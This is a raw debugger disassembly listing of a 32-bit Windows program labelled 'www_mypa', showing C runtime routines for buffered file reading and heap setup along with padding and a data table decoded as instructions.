00403E96 8BC8 MOV ECX,EAX 00403E98 83C4 10 ADD ESP,10 00403E9B 85C9 TEST ECX,ECX 00403E9D 7D 07 JGE SHORT www_mypa.00403EA6 00403E9F 33C0 XOR EAX,EAX 00403EA1 5F POP EDI 00403EA2 5E POP ESI 00403EA3 5D POP EBP 00403EA4 5B POP EBX 00403EA5 C3 RETN 00403EA6 A1 740A4100 MOV EAX,DWORD PTR DS:[410A74] 00403EAB 40 INC EAX 00403EAC A3 740A4100 MOV DWORD PTR DS:[410A74],EAX 00403EB1 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 00403EB5 8978 0C MOV DWORD PTR DS:[EAX+C],EDI 00403EB8 5F POP EDI 00403EB9 5E POP ESI 00403EBA 5D POP EBP 00403EBB C740 04 00000000 MOV DWORD PTR DS:[EAX+4],0 00403EC2 C700 00000000 MOV DWORD PTR DS:[EAX],0 00403EC8 C740 08 00000000 MOV DWORD PTR DS:[EAX+8],0 00403ECF C740 1C 00000000 MOV DWORD PTR DS:[EAX+1C],0 00403ED6 8948 10 MOV DWORD PTR DS:[EAX+10],ECX 00403ED9 5B POP EBX 00403EDA C3 RETN 00403EDB 90 NOP 00403EDC F73D 4000643E IDIV DWORD PTR DS:[3E640040] 00403EE2 40 INC EAX 00403EE3 004D 3E ADD BYTE PTR SS:[EBP+3E],CL 00403EE6 40 INC EAX 00403EE7 0040 3E ADD BYTE PTR DS:[EAX+3E],AL 00403EEA 40 INC EAX 00403EEB 005A 3E ADD BYTE PTR DS:[EDX+3E],BL 00403EEE 40 INC EAX 00403EEF 000A ADD BYTE PTR DS:[EDX],CL 00403EF1 3E:40 INC EAX ; Superfluous prefix 00403EF3 001E ADD BYTE PTR DS:[ESI],BL 00403EF5 3E:40 INC EAX ; Superfluous prefix 00403EF7 002F ADD BYTE PTR DS:[EDI],CH 00403EF9 3E:40 INC EAX ; Superfluous prefix 00403EFB 00143E ADD BYTE PTR DS:[ESI+EDI],DL 00403EFE 40 INC EAX 00403EFF 006C3E 40 ADD BYTE PTR DS:[ESI+EDI+40],CH 00403F03 0000 ADD BYTE PTR DS:[EAX],AL 00403F05 0909 OR DWORD PTR DS:[ECX],ECX 00403F07 0909 OR DWORD PTR DS:[ECX],ECX 00403F09 0909 OR DWORD PTR DS:[ECX],ECX 00403F0B 0909 OR DWORD PTR DS:[ECX],ECX 00403F0D 0909 OR DWORD PTR DS:[ECX],ECX 00403F0F 0909 OR DWORD PTR DS:[ECX],ECX 00403F11 0909 OR DWORD PTR DS:[ECX],ECX 00403F13 0909 OR DWORD PTR DS:[ECX],ECX 00403F15 0909 OR DWORD PTR DS:[ECX],ECX 00403F17 0909 OR DWORD PTR DS:[ECX],ECX 00403F19 0909 OR DWORD PTR DS:[ECX],ECX 00403F1B 0909 OR DWORD PTR DS:[ECX],ECX 00403F1D 0109 ADD DWORD PTR DS:[ECX],ECX 00403F1F 0909 OR DWORD PTR DS:[ECX],ECX 00403F21 0909 OR DWORD PTR DS:[ECX],ECX 00403F23 0909 OR DWORD PTR DS:[ECX],ECX 00403F25 0909 OR DWORD PTR DS:[ECX],ECX 00403F27 0909 OR DWORD PTR DS:[ECX],ECX 00403F29 0909 OR DWORD PTR DS:[ECX],ECX 00403F2B 0203 ADD AL,BYTE PTR DS:[EBX] 00403F2D 04 09 ADD AL,9 00403F2F 0909 OR DWORD PTR DS:[ECX],ECX 00403F31 0909 OR DWORD PTR DS:[ECX],ECX 00403F33 0909 OR DWORD PTR DS:[ECX],ECX 00403F35 0909 OR DWORD PTR DS:[ECX],ECX 00403F37 0909 OR DWORD PTR DS:[ECX],ECX 00403F39 0909 OR DWORD PTR DS:[ECX],ECX 00403F3B 05 06090909 ADD EAX,9090906 00403F40 0909 OR DWORD PTR DS:[ECX],ECX 00403F42 0909 OR DWORD PTR DS:[ECX],ECX 00403F44 0909 OR DWORD PTR DS:[ECX],ECX 00403F46 0907 OR DWORD PTR DS:[EDI],EAX 00403F48 0909 OR DWORD PTR DS:[ECX],ECX 00403F4A 0909 OR DWORD PTR DS:[ECX],ECX 00403F4C 0908 OR DWORD PTR DS:[EAX],ECX 00403F4E 90 NOP 00403F4F 90 NOP 00403F50 53 PUSH EBX 00403F51 55 PUSH EBP 00403F52 56 PUSH ESI 00403F53 8B35 C01A4100 MOV ESI,DWORD PTR DS:[411AC0] 00403F59 57 PUSH EDI 00403F5A 33ED XOR EBP,EBP 00403F5C 33FF XOR EDI,EDI 00403F5E 33C9 XOR ECX,ECX 00403F60 3BF5 CMP ESI,EBP 00403F62 7E 50 JLE SHORT www_mypa.00403FB4 00403F64 8B15 BC0A4100 MOV EDX,DWORD PTR DS:[410ABC] 00403F6A B3 83 MOV BL,83 00403F6C 8B02 MOV EAX,DWORD PTR DS:[EDX] 00403F6E 3BC5 CMP EAX,EBP 00403F70 74 19 JE SHORT www_mypa.00403F8B 00403F72 8458 0C TEST BYTE PTR DS:[EAX+C],BL 00403F75 74 0A JE SHORT www_mypa.00403F81 00403F77 41 INC ECX 00403F78 83C2 04 ADD EDX,4 00403F7B 3BCE CMP ECX,ESI 00403F7D ^7C ED JL SHORT www_mypa.00403F6C 00403F7F EB 33 JMP SHORT www_mypa.00403FB4 00403F81 A1 BC0A4100 MOV EAX,DWORD PTR DS:[410ABC] 00403F86 8B3C88 MOV EDI,DWORD PTR DS:[EAX+ECX*4] 00403F89 EB 29 JMP SHORT www_mypa.00403FB4 00403F8B 6A 20 PUSH 20 00403F8D 8D348D 00000000 LEA ESI,DWORD PTR DS:[ECX*4] 00403F94 E8 67E6FFFF CALL www_mypa.00402600 00403F99 8B0D BC0A4100 MOV ECX,DWORD PTR DS:[410ABC] 00403F9F 83C4 04 ADD ESP,4 00403FA2 890431 MOV DWORD PTR DS:[ECX+ESI],EAX 00403FA5 8B15 BC0A4100 MOV EDX,DWORD PTR DS:[410ABC] 00403FAB 8B3432 MOV ESI,DWORD PTR DS:[EDX+ESI] 00403FAE 3BF5 CMP ESI,EBP 00403FB0 74 02 JE SHORT www_mypa.00403FB4 00403FB2 8BFE MOV EDI,ESI 00403FB4 3BFD CMP EDI,EBP 00403FB6 74 15 JE SHORT www_mypa.00403FCD 00403FB8 896F 04 MOV DWORD PTR DS:[EDI+4],EBP 00403FBB 896F 0C MOV DWORD PTR DS:[EDI+C],EBP 00403FBE 896F 08 MOV DWORD PTR DS:[EDI+8],EBP 00403FC1 892F MOV DWORD PTR DS:[EDI],EBP 00403FC3 896F 1C MOV DWORD PTR DS:[EDI+1C],EBP 00403FC6 C747 10 FFFFFFFF MOV DWORD PTR DS:[EDI+10],-1 00403FCD 8BC7 MOV EAX,EDI 00403FCF 5F POP EDI 00403FD0 5E POP ESI 00403FD1 5D POP EBP 00403FD2 5B POP EBX 00403FD3 C3 RETN 00403FD4 90 NOP 00403FD5 90 NOP 00403FD6 90 NOP 00403FD7 90 NOP 00403FD8 90 NOP 00403FD9 90 NOP 00403FDA 90 NOP 00403FDB 90 NOP 00403FDC 90 NOP 00403FDD 90 NOP 00403FDE 90 NOP 00403FDF 90 NOP 00403FE0 56 PUSH ESI 00403FE1 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 00403FE5 57 PUSH EDI 00403FE6 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00403FE9 A8 83 TEST AL,83 00403FEB 0F84 D5000000 JE www_mypa.004040C6 00403FF1 A8 40 TEST AL,40 00403FF3 0F85 CD000000 JNZ www_mypa.004040C6 00403FF9 A8 02 TEST AL,2 00403FFB 74 0B JE SHORT www_mypa.00404008 00403FFD 0C 20 OR AL,20 00403FFF 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00404002 83C8 FF OR EAX,FFFFFFFF 00404005 5F POP EDI 00404006 5E POP ESI 00404007 C3 RETN 00404008 0C 01 OR AL,1 0040400A A9 0C010000 TEST EAX,10C 0040400F 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00404012 75 0B JNZ SHORT www_mypa.0040401F 00404014 56 PUSH ESI 00404015 E8 F63C0000 CALL www_mypa.00407D10 0040401A 83C4 04 ADD ESP,4 0040401D EB 05 JMP SHORT www_mypa.00404024 0040401F 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 00404022 8906 MOV DWORD PTR DS:[ESI],EAX 00404024 8B4E 18 MOV ECX,DWORD PTR DS:[ESI+18] 00404027 8B56 08 MOV EDX,DWORD PTR DS:[ESI+8] 0040402A 8B46 10 MOV EAX,DWORD PTR DS:[ESI+10] 0040402D 51 PUSH ECX 0040402E 52 PUSH EDX 0040402F 50 PUSH EAX 00404030 E8 9B000000 CALL www_mypa.004040D0 00404035 83C4 0C ADD ESP,0C 00404038 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 0040403B 85C0 TEST EAX,EAX 0040403D 74 6E JE SHORT www_mypa.004040AD 0040403F 83F8 FF CMP EAX,-1 00404042 74 69 JE SHORT www_mypa.004040AD 00404044 8B56 0C MOV EDX,DWORD PTR DS:[ESI+C] 00404047 F6C2 82 TEST DL,82 0040404A 75 32 JNZ SHORT www_mypa.0040407E 0040404C 8B4E 10 MOV ECX,DWORD PTR DS:[ESI+10] 0040404F 83F9 FF CMP ECX,-1 00404052 74 14 JE SHORT www_mypa.00404068 00404054 8BF9 MOV EDI,ECX 00404056 C1FF 05 SAR EDI,5 00404059 83E1 1F AND ECX,1F 0040405C 8B3CBD E01A4100 MOV EDI,DWORD PTR DS:[EDI*4+411AE0] 00404063 8D3CCF LEA EDI,DWORD PTR DS:[EDI+ECX*8] 00404066 EB 05 JMP SHORT www_mypa.0040406D 00404068 BF A0EF4000 MOV EDI,www_mypa.0040EFA0 0040406D 8A4F 04 MOV CL,BYTE PTR DS:[EDI+4] 00404070 80E1 82 AND CL,82 00404073 80F9 82 CMP CL,82 00404076 75 06 JNZ SHORT www_mypa.0040407E 00404078 80CE 20 OR DH,20 0040407B 8956 0C MOV DWORD PTR DS:[ESI+C],EDX 0040407E 817E 18 00020000 CMP DWORD PTR DS:[ESI+18],200 00404085 75 14 JNZ SHORT www_mypa.0040409B 00404087 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C] 0040408A F6C1 08 TEST CL,8 0040408D 74 0C JE SHORT www_mypa.0040409B 0040408F F6C5 04 TEST CH,4 00404092 75 07 JNZ SHORT www_mypa.0040409B 00404094 C746 18 00100000 MOV DWORD PTR DS:[ESI+18],1000 0040409B 48 DEC EAX 0040409C 33D2 XOR EDX,EDX 0040409E 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 004040A1 8B06 MOV EAX,DWORD PTR DS:[ESI] 004040A3 8A10 MOV DL,BYTE PTR DS:[EAX] 004040A5 40 INC EAX 004040A6 8906 MOV DWORD PTR DS:[ESI],EAX 004040A8 8BC2 MOV EAX,EDX 004040AA 5F POP EDI 004040AB 5E POP ESI 004040AC C3 RETN 004040AD 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C] 004040B0 C746 04 00000000 MOV DWORD PTR DS:[ESI+4],0 004040B7 F7D8 NEG EAX 004040B9 1BC0 SBB EAX,EAX 004040BB 83E0 10 AND EAX,10 004040BE 83C0 10 ADD EAX,10 004040C1 0BC8 OR ECX,EAX 004040C3 894E 0C MOV DWORD PTR DS:[ESI+C],ECX 004040C6 5F POP EDI 004040C7 83C8 FF OR EAX,FFFFFFFF 004040CA 5E POP ESI 004040CB C3 RETN 004040CC 90 NOP 004040CD 90 NOP 004040CE 90 NOP 004040CF 90 NOP 004040D0 A1 E01B4100 MOV EAX,DWORD PTR DS:[411BE0] 004040D5 83EC 0C SUB ESP,0C 004040D8 53 PUSH EBX 004040D9 8B5C24 14 MOV EBX,DWORD PTR SS:[ESP+14] 004040DD 55 PUSH EBP 004040DE 56 PUSH ESI 004040DF 3BD8 CMP EBX,EAX 004040E1 57 PUSH EDI 004040E2 0F83 1D020000 JNB www_mypa.00404305 004040E8 8BC3 MOV EAX,EBX 004040EA 83E3 1F AND EBX,1F 004040ED C1F8 05 SAR EAX,5 004040F0 C1E3 03 SHL EBX,3 004040F3 8B0C85 E01A4100 MOV ECX,DWORD PTR DS:[EAX*4+411AE0] 004040FA 8D3485 E01A4100 LEA ESI,DWORD PTR DS:[EAX*4+411AE0] 00404101 897424 14 MOV DWORD PTR SS:[ESP+14],ESI 00404105 8D040B LEA EAX,DWORD PTR DS:[EBX+ECX] 00404108 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 0040410C 8A50 04 MOV DL,BYTE PTR DS:[EAX+4] 0040410F F6C2 01 TEST DL,1 00404112 0F84 ED010000 JE www_mypa.00404305 00404118 8B4C24 28 MOV ECX,DWORD PTR SS:[ESP+28] 0040411C 8B7C24 24 MOV EDI,DWORD PTR SS:[ESP+24] 00404120 33ED XOR EBP,EBP 00404122 8BC7 MOV EAX,EDI 00404124 85C9 TEST ECX,ECX 00404126 0F84 CF010000 JE www_mypa.004042FB 0040412C F6C2 02 TEST DL,2 0040412F 0F85 C6010000 JNZ www_mypa.004042FB 00404135 F6C2 48 TEST DL,48 00404138 74 1E JE SHORT www_mypa.00404158 0040413A 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 0040413E 8A52 05 MOV DL,BYTE PTR DS:[EDX+5] 00404141 80FA 0A CMP DL,0A 00404144 74 12 JE SHORT www_mypa.00404158 00404146 8817 MOV BYTE PTR DS:[EDI],DL 00404148 8B16 MOV EDX,DWORD PTR DS:[ESI] 0040414A 8D47 01 LEA EAX,DWORD PTR DS:[EDI+1] 0040414D BD 01000000 MOV EBP,1 00404152 49 DEC ECX 00404153 C64413 05 0A MOV BYTE PTR DS:[EBX+EDX+5],0A 00404158 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10] 0040415C 6A 00 PUSH 0 0040415E 52 PUSH EDX 0040415F 51 PUSH ECX 00404160 50 PUSH EAX 00404161 8B06 MOV EAX,DWORD PTR DS:[ESI] 00404163 8B0C03 MOV ECX,DWORD PTR DS:[EBX+EAX] 00404166 51 PUSH ECX 00404167 FF15 AC214100 CALL DWORD PTR DS:[4121AC] ; kernel32.ReadFile 0040416D 85C0 TEST EAX,EAX 0040416F 75 48 JNZ SHORT www_mypa.004041B9 00404171 FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00404177 83F8 05 CMP EAX,5 0040417A 75 1A JNZ SHORT www_mypa.00404196 0040417C A3 EC064100 MOV DWORD PTR DS:[4106EC],EAX 00404181 C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 0040418B 83C8 FF OR EAX,FFFFFFFF 0040418E 5F POP EDI 0040418F 5E POP ESI 00404190 5D POP EBP 00404191 5B POP EBX 00404192 83C4 0C ADD ESP,0C 00404195 C3 RETN 00404196 83F8 6D CMP EAX,6D 00404199 75 0A JNZ SHORT www_mypa.004041A5 0040419B 33C0 XOR EAX,EAX 0040419D 5F POP EDI 0040419E 5E POP ESI 0040419F 5D POP EBP 004041A0 5B POP EBX 004041A1 83C4 0C ADD ESP,0C 004041A4 C3 RETN 004041A5 50 PUSH EAX 004041A6 E8 25220000 CALL www_mypa.004063D0 004041AB 83C4 04 ADD ESP,4 004041AE 83C8 FF OR EAX,FFFFFFFF 004041B1 5F POP EDI 004041B2 5E POP ESI 004041B3 5D POP EBP 004041B4 5B POP EBX 004041B5 83C4 0C ADD ESP,0C 004041B8 C3 RETN 004041B9 8B06 MOV EAX,DWORD PTR DS:[ESI] 004041BB 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 004041BF 03EA ADD EBP,EDX 004041C1 8D4C03 04 LEA ECX,DWORD PTR DS:[EBX+EAX+4] 004041C5 8A4403 04 MOV AL,BYTE PTR DS:[EBX+EAX+4] 004041C9 A8 80 TEST AL,80 004041CB 0F84 20010000 JE www_mypa.004042F1 004041D1 85D2 TEST EDX,EDX 004041D3 74 09 JE SHORT www_mypa.004041DE 004041D5 803F 0A CMP BYTE PTR DS:[EDI],0A 004041D8 75 04 JNZ SHORT www_mypa.004041DE 004041DA 0C 04 OR AL,4 004041DC EB 02 JMP SHORT www_mypa.004041E0 004041DE 24 FB AND AL,0FB 004041E0 8801 MOV BYTE PTR DS:[ECX],AL 004041E2 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24] 004041E6 03E8 ADD EBP,EAX 004041E8 8BF7 MOV ESI,EDI 004041EA 3BC5 CMP EAX,EBP 004041EC 896C24 18 MOV DWORD PTR SS:[ESP+18],EBP 004041F0 0F83 F5000000 JNB www_mypa.004042EB 004041F6 8A07 MOV AL,BYTE PTR DS:[EDI] 004041F8 3C 1A CMP AL,1A 004041FA 0F84 D5000000 JE www_mypa.004042D5 00404200 3C 0D CMP AL,0D 00404202 74 09 JE SHORT www_mypa.0040420D 00404204 8806 MOV BYTE PTR DS:[ESI],AL 00404206 46 INC ESI 00404207 47 INC EDI 00404208 E9 AC000000 JMP www_mypa.004042B9 0040420D 4D DEC EBP 0040420E 3BFD CMP EDI,EBP 00404210 73 1B JNB SHORT www_mypa.0040422D 00404212 807F 01 0A CMP BYTE PTR DS:[EDI+1],0A 00404216 75 0B JNZ SHORT www_mypa.00404223 00404218 83C7 02 ADD EDI,2 0040421B C606 0A MOV BYTE PTR DS:[ESI],0A 0040421E E9 95000000 JMP www_mypa.004042B8 00404223 C606 0D MOV BYTE PTR DS:[ESI],0D 00404226 46 INC ESI 00404227 47 INC EDI 00404228 E9 8C000000 JMP www_mypa.004042B9 0040422D 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00404231 33ED XOR EBP,EBP 00404233 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10] 00404237 55 PUSH EBP 00404238 51 PUSH ECX 00404239 8B08 MOV ECX,DWORD PTR DS:[EAX] 0040423B 8D5424 30 LEA EDX,DWORD PTR SS:[ESP+30] 0040423F 6A 01 PUSH 1 00404241 52 PUSH EDX 00404242 8B140B MOV EDX,DWORD PTR DS:[EBX+ECX] 00404245 52 PUSH EDX 00404246 47 INC EDI 00404247 FF15 AC214100 CALL DWORD PTR DS:[4121AC] ; kernel32.ReadFile 0040424D 85C0 TEST EAX,EAX 0040424F 75 08 JNZ SHORT www_mypa.00404259 00404251 FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00404257 8BE8 MOV EBP,EAX 00404259 85ED TEST EBP,EBP 0040425B 75 58 JNZ SHORT www_mypa.004042B5 0040425D 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00404261 85C0 TEST EAX,EAX 00404263 74 50 JE SHORT www_mypa.004042B5 00404265 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 00404269 8B01 MOV EAX,DWORD PTR DS:[ECX] 0040426B F64403 04 48 TEST BYTE PTR DS:[EBX+EAX+4],48 00404270 74 18 JE SHORT www_mypa.0040428A 00404272 8A4424 28 MOV AL,BYTE PTR SS:[ESP+28] 00404276 3C 0A CMP AL,0A 00404278 75 04 JNZ SHORT www_mypa.0040427E 0040427A 8806 MOV BYTE PTR DS:[ESI],AL 0040427C EB 3A JMP SHORT www_mypa.004042B8 0040427E C606 0D MOV BYTE PTR DS:[ESI],0D 00404281 8B09 MOV ECX,DWORD PTR DS:[ECX] 00404283 46 INC ESI 00404284 88440B 05 MOV BYTE PTR DS:[EBX+ECX+5],AL 00404288 EB 2F JMP SHORT www_mypa.004042B9 0040428A 3B7424 24 CMP ESI,DWORD PTR SS:[ESP+24] 0040428E 75 0C JNZ SHORT www_mypa.0040429C 00404290 807C24 28 0A CMP BYTE PTR SS:[ESP+28],0A 00404295 75 05 JNZ SHORT www_mypa.0040429C 00404297 C606 0A MOV BYTE PTR DS:[ESI],0A 0040429A EB 1C JMP SHORT www_mypa.004042B8 0040429C 8B5424 20 MOV EDX,DWORD PTR SS:[ESP+20] 004042A0 6A 01 PUSH 1 004042A2 6A FF PUSH -1 004042A4 52 PUSH EDX 004042A5 E8 C60A0000 CALL www_mypa.00404D70 004042AA 8A4424 34 MOV AL,BYTE PTR SS:[ESP+34] 004042AE 83C4 0C ADD ESP,0C 004042B1 3C 0A CMP AL,0A 004042B3 74 04 JE SHORT www_mypa.004042B9 004042B5 C606 0D MOV BYTE PTR DS:[ESI],0D 004042B8 46 INC ESI 004042B9 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 004042BD 3BFD CMP EDI,EBP 004042BF ^0F82 31FFFFFF JB www_mypa.004041F6 004042C5 2B7424 24 SUB ESI,DWORD PTR SS:[ESP+24] 004042C9 8BEE MOV EBP,ESI 004042CB 8BC5 MOV EAX,EBP 004042CD 5F POP EDI 004042CE 5E POP ESI 004042CF 5D POP EBP 004042D0 5B POP EBX 004042D1 83C4 0C ADD ESP,0C 004042D4 C3 RETN 004042D5 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 004042D9 8B08 MOV ECX,DWORD PTR DS:[EAX] 004042DB 8A440B 04 MOV AL,BYTE PTR DS:[EBX+ECX+4] 004042DF A8 40 TEST AL,40 004042E1 8D5C0B 04 LEA EBX,DWORD PTR DS:[EBX+ECX+4] 004042E5 75 04 JNZ SHORT www_mypa.004042EB 004042E7 0C 02 OR AL,2 004042E9 8803 MOV BYTE PTR DS:[EBX],AL 004042EB 2B7424 24 SUB ESI,DWORD PTR SS:[ESP+24] 004042EF 8BEE MOV EBP,ESI 004042F1 8BC5 MOV EAX,EBP 004042F3 5F POP EDI 004042F4 5E POP ESI 004042F5 5D POP EBP 004042F6 5B POP EBX 004042F7 83C4 0C ADD ESP,0C 004042FA C3 RETN 004042FB 33C0 XOR EAX,EAX 004042FD 5F POP EDI 004042FE 5E POP ESI 004042FF 5D POP EBP 00404300 5B POP EBX 00404301 83C4 0C ADD ESP,0C 00404304 C3 RETN 00404305 5F POP EDI 00404306 5E POP ESI 00404307 5D POP EBP 00404308 C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00404312 C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 0040431C 83C8 FF OR EAX,FFFFFFFF 0040431F 5B POP EBX 00404320 83C4 0C ADD ESP,0C 00404323 C3 RETN 00404324 90 NOP 00404325 90 NOP 00404326 90 NOP 00404327 90 NOP 00404328 90 NOP 00404329 90 NOP 0040432A 90 NOP 0040432B 90 NOP 0040432C 90 NOP 0040432D 90 NOP 0040432E 90 NOP 0040432F 90 NOP 00404330 A1 44074100 MOV EAX,DWORD PTR DS:[410744] 00404335 85C0 TEST EAX,EAX 00404337 74 14 JE SHORT www_mypa.0040434D 00404339 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 0040433D 51 PUSH ECX 0040433E FFD0 CALL EAX 00404340 83C4 04 ADD ESP,4 00404343 85C0 TEST EAX,EAX 00404345 74 06 JE SHORT www_mypa.0040434D 00404347 B8 01000000 MOV EAX,1 0040434C C3 RETN 0040434D 33C0 XOR EAX,EAX 0040434F C3 RETN 00404350 6A 00 PUSH 0 00404352 68 00100000 PUSH 1000 00404357 6A 01 PUSH 1 00404359 FF15 D0214100 CALL DWORD PTR DS:[4121D0] ; kernel32.HeapCreate 0040435F 85C0 TEST EAX,EAX 00404361 A3 E41B4100 MOV DWORD PTR DS:[411BE4],EAX 00404366 75 01 JNZ SHORT www_mypa.00404369 00404368 C3 RETN 00404369 E8 22000000 CALL www_mypa.00404390 0040436E 85C0 TEST EAX,EAX 00404370 75 0F JNZ SHORT www_mypa.00404381 00404372 A1 E41B4100 MOV EAX,DWORD PTR DS:[411BE4] 00404377 50 PUSH EAX 00404378 FF15 CC214100 CALL DWORD PTR DS:[4121CC] ; kernel32.HeapDestroy 0040437E 33C0 XOR EAX,EAX 00404380 C3 RETN 00404381 B8 01000000 MOV EAX,1 00404386 C3 RETN 00404387 90 NOP 00404388 90 NOP 00404389 90 NOP 0040438A 90 NOP 0040438B 90 NOP 0040438C 90 NOP 0040438D 90 NOP 0040438E 90 NOP 0040438F 90 NOP 00404390 A1 E0CB4000 MOV EAX,DWORD PTR DS:[40CBE0] 00404395 55 PUSH EBP 00404396 56 PUSH ESI 00404397 83F8 FF CMP EAX,-1 0040439A 57 PUSH EDI 0040439B 75 07 JNZ SHORT www_mypa.004043A4 0040439D BD D0CB4000 MOV EBP,www_mypa.0040CBD0 004043A2 EB 1D JMP SHORT www_mypa.004043C1 004043A4 A1 E41B4100 MOV EAX,DWORD PTR DS:[411BE4] 004043A9 68 20200000 PUSH 2020 004043AE 6A 00 PUSH 0 004043B0 50 PUSH EAX 004043B1 FF15 E4214100 CALL DWORD PTR DS:[4121E4] ; ntdll.RtlAllocateHeap 004043B7 8BE8 MOV EBP,EAX 004043B9 85ED TEST EBP,EBP 004043BB 0F84 2B010000 JE www_mypa.004044EC 004043C1 8B3D 44224100 MOV EDI,DWORD PTR DS:[412244] ; kernel32.VirtualAlloc 004043C7 6A 04 PUSH 4 004043C9 68 00200000 PUSH 2000 004043CE 68 00004000 PUSH www_mypa.00400000 004043D3 6A 00 PUSH 0 004043D5 FFD7 CALL EDI 004043D7 8BF0 MOV ESI,EAX 004043D9 85F6 TEST ESI,ESI 004043DB 0F84 F4000000 JE www_mypa.004044D5 004043E1 6A 04 PUSH 4 004043E3 68 00100000 PUSH 1000 004043E8 68 00000100 PUSH 10000 ; UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users" 004043ED 56 PUSH ESI 004043EE FFD7 CALL EDI 004043F0 85C0 TEST EAX,EAX 004043F2 0F84 CF000000 JE www_mypa.004044C7 004043F8 81FD D0CB4000 CMP EBP,www_mypa.0040CBD0 004043FE 75 28 JNZ SHORT www_mypa.00404428 00404400 A1 D0CB4000 MOV EAX,DWORD PTR DS:[40CBD0] 00404405 85C0 TEST EAX,EAX 00404407 75 0A JNZ SHORT www_mypa.00404413 00404409 C705 D0CB4000 D0>MOV DWORD PTR DS:[40CBD0],www_mypa.0040C> 00404413 A1 D4CB4000 MOV EAX,DWORD PTR DS:[40CBD4] 00404418 85C0 TEST EAX,EAX 0040441A 75 27 JNZ SHORT www_mypa.00404443 0040441C C705 D4CB4000 D0>MOV DWORD PTR DS:[40CBD4],www_mypa.0040C> 00404426 EB 1B JMP SHORT www_mypa.00404443 00404428 C745 00 D0CB4000 MOV DWORD PTR SS:[EBP],www_mypa.0040CBD0 0040442F 8B0D D4CB4000 MOV ECX,DWORD PTR DS:[40CBD4] ; www_mypa.0040CBD0 00404435 894D 04 MOV DWORD PTR SS:[EBP+4],ECX 00404438 892D D4CB4000 MOV DWORD PTR DS:[40CBD4],EBP 0040443E 8B55 04 MOV EDX,DWORD PTR SS:[EBP+4] 00404441 892A MOV DWORD PTR DS:[EDX],EBP 00404443 8D86 00004000 LEA EAX,DWORD PTR DS:[ESI+400000] 00404449 8D4D 18 LEA ECX,DWORD PTR SS:[EBP+18] 0040444C 8D95 98000000 LEA EDX,DWORD PTR SS:[EBP+98] 00404452 8945 14 MOV DWORD PTR SS:[EBP+14],EAX 00404455 8975 10 MOV DWORD PTR SS:[EBP+10],ESI 00404458 894D 08 MOV DWORD PTR SS:[EBP+8],ECX 0040445B 8955 0C MOV DWORD PTR SS:[EBP+C],EDX 0040445E 33C0 XOR EAX,EAX 00404460 BF F1000000 MOV EDI,0F1 00404465 33D2 XOR EDX,EDX 00404467 83F8 10 CMP EAX,10 0040446A 0F9DC2 SETGE DL 0040446D 4A DEC EDX 0040446E 83C1 08 ADD ECX,8 00404471 23D7 AND EDX,EDI 00404473 4A DEC EDX 00404474 40 INC EAX 00404475 8951 F8 MOV DWORD PTR DS:[ECX-8],EDX 00404478 8979 FC MOV DWORD PTR DS:[ECX-4],EDI 0040447B 3D 00040000 CMP EAX,400 00404480 ^7C E3 JL SHORT www_mypa.00404465 00404482 B9 00400000 MOV ECX,4000 00404487 33C0 XOR EAX,EAX 00404489 8BFE MOV EDI,ESI 0040448B F3:AB REP STOS DWORD PTR ES:[EDI] 0040448D 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] 00404490 05 00000100 ADD EAX,10000 ; UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users" 00404495 3BF0 CMP ESI,EAX 00404497 73 28 JNB SHORT www_mypa.004044C1 00404499 B9 F0000000 MOV ECX,0F0 0040449E B0 FF MOV AL,0FF 004044A0 8D56 08 LEA EDX,DWORD PTR DS:[ESI+8] 004044A3 894E 04 MOV DWORD PTR DS:[ESI+4],ECX 004044A6 8916 MOV DWORD PTR DS:[ESI],EDX 004044A8 8886 F8000000 MOV BYTE PTR DS:[ESI+F8],AL 004044AE 8B55 10 MOV EDX,DWORD PTR SS:[EBP+10] 004044B1 81C6 00100000 ADD ESI,1000 004044B7 81C2 00000100 ADD EDX,10000 ; UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users" 004044BD 3BF2 CMP ESI,EDX 004044BF ^72 DF JB SHORT www_mypa.004044A0 004044C1 8BC5 MOV EAX,EBP 004044C3 5F POP EDI 004044C4 5E POP ESI 004044C5 5D POP EBP 004044C6 C3 RETN 004044C7 68 00800000 PUSH 8000 004044CC 6A 00 PUSH 0 004044CE 56 PUSH ESI 004044CF FF15 40224100 CALL DWORD PTR DS:[412240] ; kernel32.VirtualFree 004044D5 81FD D0CB4000 CMP EBP,www_mypa.0040CBD0 004044DB 74 0F JE SHORT www_mypa.004044EC 004044DD A1 E41B4100 MOV EAX,DWORD PTR DS:[411BE4] 004044E2 55 PUSH EBP 004044E3 6A 00 PUSH 0 004044E5 50 PUSH EAX 004044E6 FF15 A4214100 CALL DWORD PTR DS:[4121A4] ; ntdll.RtlFreeHeap 004044EC 5F POP EDI 004044ED 5E POP ESI 004044EE 33C0 XOR EAX,EAX 004044F0 5D POP EBP 004044F1 C3 RETN 004044F2 90 NOP 004044F3 90 NOP 004044F4 90 